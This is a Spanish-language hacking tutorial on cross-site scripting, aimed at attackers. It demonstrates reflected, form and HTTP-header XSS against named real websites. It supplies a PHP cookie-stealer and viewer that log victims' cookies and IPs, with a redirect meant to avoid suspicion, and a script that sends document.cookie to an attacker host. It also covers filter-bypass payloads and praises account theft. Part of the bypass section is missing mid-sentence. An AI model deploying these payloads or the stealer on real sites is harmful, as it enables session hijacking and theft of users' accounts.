

XSS y el Bypassing de Filtros **Por The X-C3LL (F.O.S Team)**

0x00 INDICE:

0x00	Indice
0x01	Definición de XSS
0x02	XSS a través de una petición GET
0x03	XSS en formularios
0x04	Cross Site Scripting en los HTTP Headers

0x01 Definición de XSS

El término XSS fue acuñado para describir a un tipo de vulnerabilidad caracterizada por permitir la ejecución de código de webscripting, como pudiera ser VBScript, JavaScript, etc. Este acrónimo (XSS) son las siglas del nombre de la vulnerabilidad en inglés: Cross Site Scripting.

De esta definición podemos extraer una idea fundamental sobre la que nos moveremos siempre, y es que JavaScript y demás, se ejecutan a nivel usuario y no a nivel servidor. ¿Qué quiere decir esto? esto significa que realmente no existe una modificación del código fuente de la web vulnerable, sino que el navegador (o browser) del usuario es quien ejecuta el script que inyectado. Es por ello, que jamás (y este es un error muy frecuente en Newbies) se producirá un deface al inyectar un XSS, ya que para considerar un index "defaceado" realmente tiene que haber una modificación en el source de dicho archivo, y como ya hemos explicado eso JAMÁS ocurre.

Si alguno de vosotros ya está familiarizado previamente con el término XSS, seguro que os ha venido a la mente aquello de inyectar una redirección en HTML dentro de un foro que permita colocar HTML. Bien, si lo que inyectamos es cualquier otro tipo de código (HTML puro y duro) y no un script se trata de otra vulnerabilidad (en íntima relación). Se trata de HTML Injection. Realizo esta aclaratoria porque muchísima gente anda en el craso error de igualar ambos conceptos, cuando en uno lo que ocurre es que ejecuta un script el navegador de la víctima, mientras que en la HTTP Inyección si se produce una modificación del código fuente de la web.

Bien, tras este pequeño paréntesis, continuemos adentrándonos en los XSS.

Existen varios tipos, en este paper nosotros vamos a hablar de tres categorías fundamentales: los inyectados por método GET, los que se encuentran en formularios y los que se explotan a través de la cabecera (también conocido como HTTP Header Injection). A continuación pasamos a explicar de forma detallada cada uno de estos.

0x02 XSS a través de una petición GET

Este tipo de XSS se produce cuando en un archivo de la web se introduce una variable al estilo de `$_GET['var']`, esta no se filtra adecuadamente, y se vuelca la variable en la web. Como resultado, nosotros podemos inyectar a través de la barra de direcciones nuestro propio código malicioso y será introducido en la web. Para poder ilustrarnos mejor ante este tipo de XSS les dejo un código fuente vulnerable a priori:

Código: (index.php)

```
....  
....  
  
codigo HTML  
....  
...  
<?php  
if(isset($_GET['categoria'])){  
$categoria = $_GET['categoria'];  
echo $categoria;  
}  
>  
.....  
  
mas codigo HTML  
....  
.....
```

Entonces nosotros estamos navegando por la web y nos damos cuenta que en nuestra barra de direcciones hay algo al estilo de:

Citar

<http://V.com.ar/index.php?categoria=Fotos>

Y nos fijamos que en la web aparece "Fotos". Entonces deberíamos de comprobar si cualquier texto que introduzcamos en la variable categoria es volcado directamente en la web, si ponemos por ejemplo:

Citar

<http://V.com.ar/index.php?categoria=FoS> RoolZ!

Y la web lo muestra, podríamos estar ante un caso de XSS. Entonces debemos de probar a ver si vuelca la variable sin filtrarla, así que inyectemos un poco de JavaScript:

Citar

[http://V.com.ar/index.php?categoria=<script>alert\(/Fos Team/\)</script>](http://V.com.ar/index.php?categoria=<script>alert(/Fos Team/)</script>)

Y en este punto existen dos posibilidades:

a)La web nos devuelve un hermosisisisimo cartelito con el texto **/FoS TeaM/**, lo que denotaría un clarísimo caso de XSS. o...

b)La web muestra nuestro texto sin ningún problema, o tal vez un tanto modificado. Lo

que significa que filtran las variables, y tendremos que currarnos más el código malicioso a introducir, cosa que veremos más adelante.

Existe una pequeña duda que ya me han preguntado un par de veces por MPs en diversos foros, y es que si se puede meter el código malicioso (el JavaScript) desde una URL externa. La respuesta es evidentemente sí. Si en vez de meter de forma directa todo el source de nuestro código malicioso, únicamente queremos meter una pequeña línea, podemos guardar este source en un host nuestro con extensión .js, y en la variable vulnerable tendremos que introducir un código tal que este (siguiendo el ejemplo anterior):

Citar

<http://V.com.ar/index.php?categoria=<SCRIPT%20src=http://FoSTeaM/xss.js></SCRIPT>>

Muchos aún no le habrán encontrado el sentido a la importancia de poder ejecutar JavaScript de forma indiscriminada. Más tarde hablaremos del cookie poisoning, pero antes de ello un pequeño adelanto :P. Si ejecutais la siguiente sentencia:

Código:

```
<script>alert(document.cookie)</script>
```

En una web que use cookies... vereis un cartelito, sí, muy mono como que vimos antes... ah... pero que es el texto que tiene... :O! es nuestra cookie!. Eso unido a un Cookie Stealer (ya lo veremos, no os preocupéis) y un poquitín de ingeniería social (y a veces ni eso) podemos conseguir la cookie de usuarios, hasta de los admins!. He aquí la trascendencia de esta vulnerabilidad (sí, no es una vulnerabilidad que directamente te joda, pero si se sabe utilizar, te puedo asegurar que jode). Muchos considerarn al XSS una vulnerabilidad de segunda... Pero actualmente el robo de Cuentas RapidShare a través de este bug es acojonante, en priv8 de algunos foros ponen hasta 30 cuentas diarias. Y sin hablar de los bugs 0day que publicó Keynet (administrador de Remote Execution) que había en Fotolog y en AwardSpace.

Bueno, basta de tanta chachara y volvamos a lo importante. Ahora os voy a hablar de un bug (todavía sin parchear a día 3 de Agosto de 2008) que se encuentra en los foros gratuitos de ForoActivo.com. Este ejemplo es de un XSS del mismo tipo que acabamos de ver (voy a postear un ejemplo práctico en cada tipo). Para las pruebas vamos a usar el foro oficial de asistencia de foroactivo (<http://asistencia.foroactivo.com/>). Aclaro que esta técnica es aplicable a cualquier foro de foroactivo.com, a menos que ya hayan parcheado el error (yo ya se lo reporté).

Si observais en la parte baja del foro aparece un a barra/menu en la que aparecen:

Citar

Si veis el link de "Denuncie un Abuso", es http://asistencia.foroactivo.com/report_abuse.forum?page=%2F&report=1 . Ese %2F está encodado (URL encode), para el que no lo sepa, se traduciría por /.

Bien, ¿Qué os dije anteriormente? Siempre intentar escribir en las variables. ¿Que pasa si pongo FoS TeaM?

Código:

```
http://asistencia.foroactivo.com/report_abuse.forum?page=FoS%20TeaM&report=1
```

Pues que en la web podemos leer:

Citar

Señalar una queja a los administradores del foro

Aquí puedes denunciar contenidos ilícitos o contra las condiciones generales de utilización del servicio .

Página concerniente a la denuncia : [http://asistencia.foroactivo.comFoS TeaM](http://asistencia.foroactivo.comFoS%20TeaM)

Aláh, ha puesto lo mismo que nosotros pusimos... UHm... ¿Probamos a meterle un poco de JavaScript?:

Código:

```
http://asistencia.foroactivo.com/report_abuse.forum?page=%3Cscript%3Ealert(/FoS%20TeaM/)%3C/script%3E&report=1
```

Premio =). Señores, tenemos un XSS muy muy simple. Realmente, casi nunca nos encontraremos cosas tan sencillas XD. Bueno, tras este PoC (Proof of Concept, o Prueba de Concepto), se comprende más o menos como funciona este tipo de XSS.

0x03 XSS en formularios

Bueno, ya hemos visto el primer tipo o categoría de XSS que vamos a estudiar. A continuación pasamos a explicar el siguiente tipo (según la clasificación personal mía, esto no tiene valor universal, cada cual hace sus propias diferenciaciones atendiendo a sus propios criterios) el que hemos denominado XSS en formularios. En este "capítulo" o "sección" de este paper vamos a trabajar con formularios "a la vista" y otros que no lo están, para estos últimos tendremos que emplear la técnica conocida como Form Tampering (explicada en un videotuto de Login-r00t que anda por la net).

Lo primero, será recordar (parto de la base de que HTML sabéis) la estructura de los formularios. Los formularios se designaban a través de los tags <form> para señalar su apertura, y </form> para delimitar el final del formulario. Todo el código HTML que

se encuentre en el interior de estos dos tags se considera como parte del formulario.

Los formularios deben de tener ciertos parámetros, los cuales paso a comentar de forma escueta, utilizando uno como ejemplo. Imaginémos un formulario tal que como este:

Código:

```
<FORM ACTION="buscador.php" METHOD="post" >

    <INPUT TYPE="text" NAME="busqueda" >
<BR>
    <INPUT TYPE="submit" VALUE="Buscar!!" >

</FORM>
```

Bien si analizamos, primeramente en form aparecen los parámetros ACTION y METHOD. El parámetro ACTION es el encargado de dictar hacia donde hay que enviar la información escrita en el formulario, en nuestro caso a buscador.php. El otro parámetro, METHOD, indica con qué metodo se debe de enviar esa información. Recordemos que los dos tipos de métodos son GET y POST.

Despues encontramos dentro del formulario dos inputs totalmente diferentes. El primero indica (usando TYPE="text") que la información que se le va a escribir es "texto", y con el parámetro name indica el nombre de la variable que va a contener el susodicho texto.

El segundo Input es un "submit", un botón para iniciar la transferencia de la información recogida en el formulario hacia el archivo encargado de procesara (buscador.php).

Tal vez esta explicación os haya liado más que aclarado, pido disculpas por ello XD.

Ahora para trabajar mediante ejemplos (tal y como antes lo hicimos) dejo este código fuente, el cual pertenecería a nuestro ejemplo irreal buscador.php:

Código:

```
<?php
$b = $_POST["busqueda"];
?>
<FORM>
<BR>
Usted ha buscado términos relacionados con: <INPUT TYPE="text"
VALUE="<?php echo $b; ?>">
</FORM>
```

Si en este caso volvemos a probar el código que antes nos ayudó para ver si era vulnerable, es decir, si ponemos en la caja del buscador el prototípico <script>alert(/FoS TeaM/)</script>, no funcionaría, puesto que el resultado (si mirasemos el código fuente) sería:

Código:

```
<FORM>
<BR>
Usted ha buscado términos relacionados con: <INPUT TYPE="text"
VALUE="<script>alert(/FoS Team/)</script>">
</FORM>
```

Lo que conllevaría el que no se ejecute nuestro código. Entonces tendremos que pensar en una nueva forma de meter código malicioso, ya que os aseguro, que es vulnerable. Analicemos el único problema que tenemos: nuestro código se queda dentro de VALUE="codigo">. Si soys algo espabilados, ya os habreis dado cuenta que la solución es poder sacar el texto de ahí... ¿Pero cómo?.

Esta pregunta tiene fácil solución: cerrando la caja. Haber para que me entiendan, hay que intentar cerrar ese VALUE=" "> que tanto nos fastidia, entonces si nosotros lo cerramos con ">. Es decir, que si en el buscador metemos ">, el resultado (mirando el código fuente) sería algo tal que:

Citar

```
<FORM>
<BR>
Usted ha buscado términos relacionados con: <INPUT TYPE="text" VALUE=" ">
</FORM>
```

Pongo en rojo el código que nosotros introducimos para que se visualice y se entienda de forma más fácil. ¿Qué a pasado?. Hemos conseguido cerrar el parámetro VALUE, quedándonos ahora así: VALUE="" y hemos dejado fuera ">.

Bien, ya hemos resuelto nuestro pequeño inconveniente, simplemente tendremos que agregar un "> a nuestro código de alerta. Lo que significaría que si metemos:

Código:

```
"><script>alert(/FoS Team/)</script>
```

El resultado sería:

Citar

```
<INPUT TYPE="text" VALUE=""><script>alert(/FoS Team/)</script>">
```

Ejecutandose nuestra ventanita de alerta =). Este tipo de XSS es tambien simple (si observais siempre os estoy poniendo ejemplos prácticos sin filtros, ya que la "chicha" del documento será la parte de bypassear ("atravesar") dichos filtros), y se le suele llamar "XSS prototípico" o "de libro", porqu ees el que aparece en todos los paperes/talleres/manuales de vulnes.

Y como hemos visto en el ejemplo anterior, ahora vamos a hacer un PoC demostrativo de que todo lo que he dicho es verdad. Para la demostración, usaremos la web del Ayuntamiento de Sabadell (<http://www.sabadell.cat/>). Si veis debajo el banner, a la derecha, hay un buscador... Probad a escribir "><script>alert(/Fos TeaM/)</script>.

Et voilà, XSS found. Alerta ejecutada =). Si buscamos este cacho de código fuente:

Citar

```
TD align="left"><INPUT TYPE=text NAME="nivel" id="nivel" class="formulari"
size="35" VALUE="Cer"><script>alert(/Fos TeaM)/</script></TD>
```

Código insertado :).

Acabamos de ver cómo inyectar código malicioso en formularios "a la vista", pero también existe otro tipo de formularios, los que tienen el atributo "hidden" (o escondido) en los cuales también se puede inyectar XSS. Para poder usarlos, nos vamos a servir de una técnica denominada "Form Tampering", la cual consiste en modificar un formulario antes de enviarlo. Dicha técnica no solo es aplicable a la explotación de XSS, ya que esto sería la punta del iceberg. Esta técnica es popularmente utilizada para modificar compras, modificar el ID del producto a comprar por otro más caro, pagar hostings por 1\$ (como bien se aprecia en el videotuto de Login-r00t).

Para poder hacer "Form Tampering" vamos a necesitar de algún add on de Firefox. Hay muchos que pueden desempeñar la función que necesitamos, pero en nuestro caso vamos a servirnos de este add on (<https://addons.mozilla.org/es-ES/firefox/addon/60>). Su funcionamiento es muy simple, nos vamos a una web con formularios, clickamos sobre "forms" (en la barra superior), y click sobre "Display Forms Details". Ahora tendremos todos los formularios a la vista... Y seguro se muestran alguno interesante de modificar =). Simplemente tendréis que usar las mismas técnicas como si los formularios estuviesen a la vista.

0x04 Cross Site Scripting en los HTTP Headers

Bien, antes de ahondar en la materia, necesito que tengáis un poco de conocimiento sobre el protocolo HTTP. Si nos ponemos con la teoría, no acabaríamos nunca, a parte de que por mi parte (muy mal hecho, lo admito) nunca he estudiado de forma desmedida cómo funciona este protocolo, simplemente he ido estudiando las cosas que me han ido haciendo falta a lo largo de este año y poco que llevo en el under.

Lo principal, y casi único que nos hace falta para este paper, es entender cómo se produce la visualización de una web, es decir que pasa desde que ponemos la URL de la web en nuestro navegador (Firefox, Opera, IE, etc.) hasta que la podemos ver.

Cuando nosotros escribimos una URL y le damos a enter, provocamos que nuestro navegador haga una petición a un host, la cual mediante los servidores DNS, redirecciona hacia un servidor en concreto. Esta "conexión" entre el servidor donde está alojada la web y nuestro navegador se realiza a través de puerto 80. Se indica que se va a usar ese puerto al poner al inicio de la URL "HTTP://". Cuando se trata de un FTP (puerto 21) se señala con "FTP://".

Hasta aquí creo que todo es sencillo. Nuestro navegador manda una HTTP Header

(Cabecera HTTP) con un contenido. El esquema general de las cabeceras es el siguiente:

Código:

```
[Metodo] [PATH] HTTP/[Version del protocolo]
Host: [Host al que le hacemos la peticion]
User-Agent: [Navegador que usamos]
[Línea en blanco]
```

Esto es visto de la forma más esquematizada posible, puesto que suelen llevar más campos las cabeceras. En Método se indica en MAYÚSCULA el tipo de método de la petición, usualmente POST y GET (TRACE, OPTIONS y demás no suelen estar habilitados). Path hace referencia al directorio/archivo al cual se le hace la petición. Puede ser /, /index.htm, /modules/index.php, etc. La versión del protocolo se debe de definir puesto que existen diferentes estándares. Actualmente, si no mal recuerdo, están implantados el 1.0, el 1.1, y de forma experimental el 2.0.

A esta petición que nosotros realizamos, le corresponde una respuesta desde el servidor, en el cual muestra ciertas informaciones, como un código de 3 dígitos que indican el tipo de respuesta (un 200 es ok, un 404 es Not Found, etc), a parte del código fuente de la web, el cual es interpretado por nuestro navegador.

Bueno, si teneis esta ideas en la cabeza, la cosa será más simple de que la comprendais. Por cierto, para profundizar más, iros a wikipedia, pero a los links externos, no al contenido de la wiki XDDDD. Ahora vamos a buscar toolz. Necesitamos de alguna herramienta que se encargue de interceptar cabeceras que envíe nuestro navegador al servidor. Yo conozco dos add ons para firefox que ocupan esta función: Tamper Data y Live HTTP Headers.

Quizás el primero sea el más popular y conocido, pero yo suelo usar más Live HTTP Headers. La técnica va a ser la misma, así que utilizad el que os sea más sencillo. Yo los ejemplos y demases los voy a explicar desde el Live HTTP Headers.

Llegado a este punto, ya tenemos la idea en la cabeza de qué es una cabecera HTTP y tenemos una tool. Ahora debemos de buscar la vulnerabilidad. La vulnerabilidad o mejor dicho, "en caso de que hubiese una vulnerabilidad, donde se encontraría", existen varias posibilidades. Una por fallo del filtrado de variables por culpa de un webmaster incompetente, y otro por fallo del propio servidor (normalmente por culpa de no actualizar Apache XDDD). Intentaré poner un ejemplo de cada tipo, pero antes necesito que os familiariceis más todavía con Live HTTP Headers y con las cabeceras.

. Googlen esta dirección: <http://www.obtenerip.com.ar/ip/> . Antes de clicar sobre el link que os arroja, activar el add on. Éste es una de esas populares páginas donde permiten ver tu IP y otras informaciones. Cada una de esas informaciones vienen marcadas por variables (\$_SERVER['Variable']), donde Variable es cada una de las partes de la cabecera que enviamos. Miremos la cabecera que hemos obtenido:

Código:

```
Host: www.obtenerip.com.ar
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES;
rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pl
ain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.google.es/search?hl=es&client=firefox-
a&rls=org.mozilla%3Aes-
ES%3Aofficial&hs=Wu0&q=loquehemosbuscado&btnG=Buscar&meta=
Cookie: users_resolution=1024x768;
__utma=238515294.232208276.1217859312.1217859312.1217859312.1;
__utmb=238515294; __utmc=238515294;
__utmz=238515294.1217859312.1.1.utmccn=(organic)|utmcsr=google|utmctr=
loquehebusacdo|utmcmd=organic
Cache-Control: max-age=0
```

Tararán!

Busquen esos campos en lo que muestra la web... ¿Lo veis? Son los mismos... Si no filtran correctamente estas variables, podemos inyectar código malicioso en ellas. En este caso, puesto que la temática del paper es de XSS, vamos a meter JavaScript. Para ello, nos vamos a la cabecera, click en "repetir".

Ahora podemos modificar la cabecera.. iros a la parte de "Referer" y poned el ya mítico: `<script>alert(/FoS TeaM/)</script>`.

Click en Repetir.... Y PLAS! Alerta con nuestro texto :D.

Bien, lo prometido es deuda. Ya hemos visto una vulnerabilidad a nivel web, y ahora la vamos a ver a nivel servidor (no es mi especialidad, pero a veces hay que tocar todos los palos del under). Vayámonos a esta web con nuestro add on activo:

[Www.OcioYfiestas.eS](http://www.ocioyfiestas.es)

Código:

```
http://www.ocioyfiestas.es/

GET / HTTP/1.1
Host: www.ocioyfiestas.es
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES;
rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pl
ain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
If-Modified-Since: Mon, 28 Jan 2008 18:18:12 GMT
If-None-Match: "200234c8-1b5f-479e1c64"
```

Cache-Control: max-age=0

```
HTTP/1.x 304 Not Modified
Date: Mon, 04 Aug 2008 14:26:01 GMT
Server: Apache/1.3.34 Ben-SSL/1.55
Connection: Keep-Alive, Keep-Alive
Keep-Alive: timeout=2, max=199
Etag: "200234c8-1b5f-479e1c64"
```

La última mitad es lo que devuelve el servidor. Fíjense que hemos obtenido información interesante como la versión del Servidor (Apache/1.3.34). Esto puede ser muy útil a la hora de buscar vulnerabilidades, de hecho, Acunetix saca muchos datos de las cabeceras.

Bueno, esta versión de Apache es vulnerable a XSS a través de las cabeceras, en concreto de una variable denominada "Expect". Si añadimos esta línea debajo de "Connection", quedándonos la cabecera tal que así:

Citar

Host: www.ocioyfiestas.es

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16)

Gecko/20080702 Firefox/2.0.0.16

Accept:

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: es-es;es;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Expect: <script>alert(/FoS TeaM/)</script>

If-Modified-Since: Mon, 28 Jan 2008 18:18:12 GMT

If-None-Match: "200234c8-1b5f-479e1c64"

Cache-Control: max-age=0

Si le damos a Repetir... ;) Otro bonito XSS en las cabeceras.

0x05 Cookie Stealing

Hasta este punto, únicamente hemos aprendido qué es un XSS y los distintos tipos que existen. Llegó el momento de explotar el potencial de los XSS: Cookie Stealing.

El cookie Stealing, o robo de cookies, es una vulnerabilidad, que como el propio nombre indica, se caracteriza porque un usuario malicioso consigue robar la cookie a un usuario de un servicio web. Tras esto, el atacante puede logearse como si fuera el usuario. Si recordamos un pequeño inciso que hice antes, os enseñé como es vuestra cookie a través de un alert(document.cookie).

Para ello, vamos a necesitar codear dos herramientas en PHP. Por una parte, un programa que llamaremos "Robador" y será el encargado de guardar la cookie de la víctima en un .txt. El segundo va a ser un "Viewer" o script encargado de mostrarnos las cookies que ya tenemos guardadas. Ambos files debereis de subirlos a un host, en el cual le tendremos que dar permisos 777 a los archivos. Paso a explicar cada archivo.

Código: (Steal.php)

```
<?php
if(isset($_GET['cookie'])){
$stolen = htmlentities($_GET['cookie']);
$ip = getenv ('REMOTE_ADDR');
$lista = fopen("cookies.txt",a);
fwrite($lista, "<br>Procedencia=>" .$_SERVER['HTTP_REFERER']. " <br>IP:
" . $ip . " <br>Cookie:" . $stolen. " <br>-----
");
fclose($lista);
header('Location: http://www.google.com/');
}
?>
```

Les traduzco el codigo:

"Si la variable de tipo GET "cookie" está seteada, hacer las siguientes cosas:

- La variable \$stolen tome el valor de "cookie"
- La variable \$IP tome la IP de la víctima
- Abrir el archivo cookies.txt, de no existir se crea, y todo el texto que se introduzca se mete al final del file
- Escribir en el archivo los datos que dijimos antes
- Cerra archivo
- Redireccionar a google"

La redirección a google debe de ser modificada por la URL de la web vulnerable, de esta forma evitamos sospechas 🤪. El otro file, el visualizador de cookies es así:

Código: (Viewer.php)

```
<head><title>...:F.o.S. c00ckles Vi3W :::..</title></head>
<style type="text/css">
body {background-color: black;
color: lime;
font-family: "courier new";}
</style>
<font color=red size=6><center>[+] F.o.S. TeaM [+]</font><br><br>
width=800<br><font color=gold>This is a t00l to see the cookies that
are caught</font><br></hr width=800>
<form action="" method="POST"><input type=Submit name="format"
value="CleaN the LisT!!"></form><div STYLE="border:2pt white ridge;">
<br>-----<br><br>
|&#831;&#839; &#831;&#839; &#831;&#839; &#831;&#839; &#831;&#839; |&#831;&#839;
&#831;&#839; &#831;&#839; | |&#831;&#839; &#831;&#839; &#831;&#839; &#831;&#839; | |<
| |&#831;&#839;&#822; &#831;&#839;&#822; &#831;&#839; &#831;&#839; &#831;&#839;
&#839;\&#831; &#831; <br><br>
```

```
|&#831;&#822; &#831;&#822; &#831;&#822; &#831;&#822; .  
|&#831;&#839; &#831;&#839; &#831;&#839; | . &#839; &#839; \&#831;  
&#831; /!\ &#831; &#831; |&#831; &#831; |&#831;&#839;&#822;  
&#831;&#839;&#822; &#831;&#839; |&#831;&#822; &#831;&#822;  
&#831;&#822; &#831;&#822; | |&#831; v &#831; | <br><br>
```

```
-----<br>  
-----<br>
```

```
<?php  
include("cookies.txt");  
?>  
<?php  
if(isset($_POST['format'])){  
$file = fopen("cookies.txt", w);  
fwrite($file, " ");  
fclose($file);  
}  
?>
```

Bien, pruebenlo ;).

Ahora queda la parte difícil, la de robar la cookie en sí. En esta parte no os puedo ayudar, depende de la astucia y habilidad social de cada uno. Yo solo doy un consejo:

A)Iframe con width y height al 0

No es lo que suelo usar yo, pero es un método tan válido como otro. El script que teneis que encasquetarle a la víctima es:

Código:

```
<script>document.location=http://www.mihost.com/Stealer.php?cookie='do  
cument.cookie e</script>
```

Siento no haber abarcado más en este aspecto, pero este no es el tema principal de mi artículo, la carnaza del artículo comienza ahora: Bypassing de filtros.

0x06 Bypassing de filtros

Y ahora es cuando viene lo interesante del paper. Lo que marca la diferencia con el resto de papers acerca del XSS.

Primero definamos qué es el bypassing. El bypassing, para cualquier cosa, consiste en poder atravesar alguna medida de seguridad con un objetivo. En nuestro caso, la definición se amolda a "saltar un filtro". El primer tipo de filtro va a ser en los formularios en los cuales sólo te dejan escribir un número determinado de caracteres.

En los inputs, se puede colocar un parámetro el cual defina el máximo número de

de JavaScript. Este elemento "on" es onerror. Tendríamos que poner simplemente onerror=Código Javascript.

Para producir el error vamos a poner un con una ruta ficticia. Al no poder visualizar la imagen, saltará el consecuente error que ejecutará el código malicioso. Lo que traducido sería:

Código:

```
<img src=. onerror=Alert(/FoS TeaM/)>
```

La cosa se puede poner más peliaguda aún, si lo que hace el filtro es impedir meter letras a la variable. Me refiero a ciertos filtros que te permiten ejecutar JavaScript, pero que dentro de la sentencia en sí no te dejan usar letras ni caracteres especiales. Para estos casos, podemos transformar nuestro código malicioso en los valores ASCII de los caracteres que lo componen, y después incrustarlos a través de **String.fromCharCode(codigo ascii)**.

Por ejemplo:

Código:

```
alert(String.fromCharCode(88,83,83));
```

Esto provocaría una ventanita de alert con el texto "XSS". Otra forma de saltar estos filtros es poniendo código malicioso en UNICODE, es decir, representando cada carácter con su valor Hexadecimal y añadiéndole a cada uno un % delante.

Y ya por último, otro filtro que sí que nos pone las cosas bien jodidas, la función **Strip_Tags**. Esta función se encarga de eliminar de una variable todo lo que esté entre <>. Ahora sí que la cosa está difícil, ¿eh?. ¿Qué os tengo dicho? No intentar atravesar, siempre evitar. Y eso haremos.

Que no podemos poner <>, pues no lo ponemos. Si recordamos a los XSS en formularios, para saltarlos había que cerrar Value y a partir de ahí inyectar... Pues ahora vamos a realizar una variante de esta técnica. Si sabemos algo de CSS, podemos recordar que se pueden poner URL en algunos elementos... Entonces si a nuestro input le hacemos esto:

```
<input type="text" name="input" value="" STYLE="background: url(url con codigo malicioso9)">
```

Habremos conseguido inyectar una sentencia maligna dentro del tag propio de la página.

En muchos blogs te permiten usar ciertos tags permitidos, como o y esas cosas. Ahí igualmente se podría inyectar el código malicioso al meter un <b STYLE="codigo">. La función Strip_tags no te deja poner tus propios tags, pero sí que te deja poner los que el webmaster haya puesto.

Agradecimientos:

A todos aquellos que en algún momento han estado a mi lado en este mundillo, en especial a Lutscher (Chupetín) y DarkGatox, porque con ellos me inicié en el Underground; a Plaga, casi como un hermano para mí; a RGB90 y WaesWaes, por haber compartido buenos y malos momentos en ArgeniversoHack.

También reconocer a Fr34k, Keynet y Phonix por haberme dejado un hueco dentro del foro de Remote Execution, y de allí mismo también agradecer a Harakiri, Venom, y demás foreros.

Y de CPH, a vVegeta y a Askatasun.

Por último, a los integrantes del F.O.S. Team.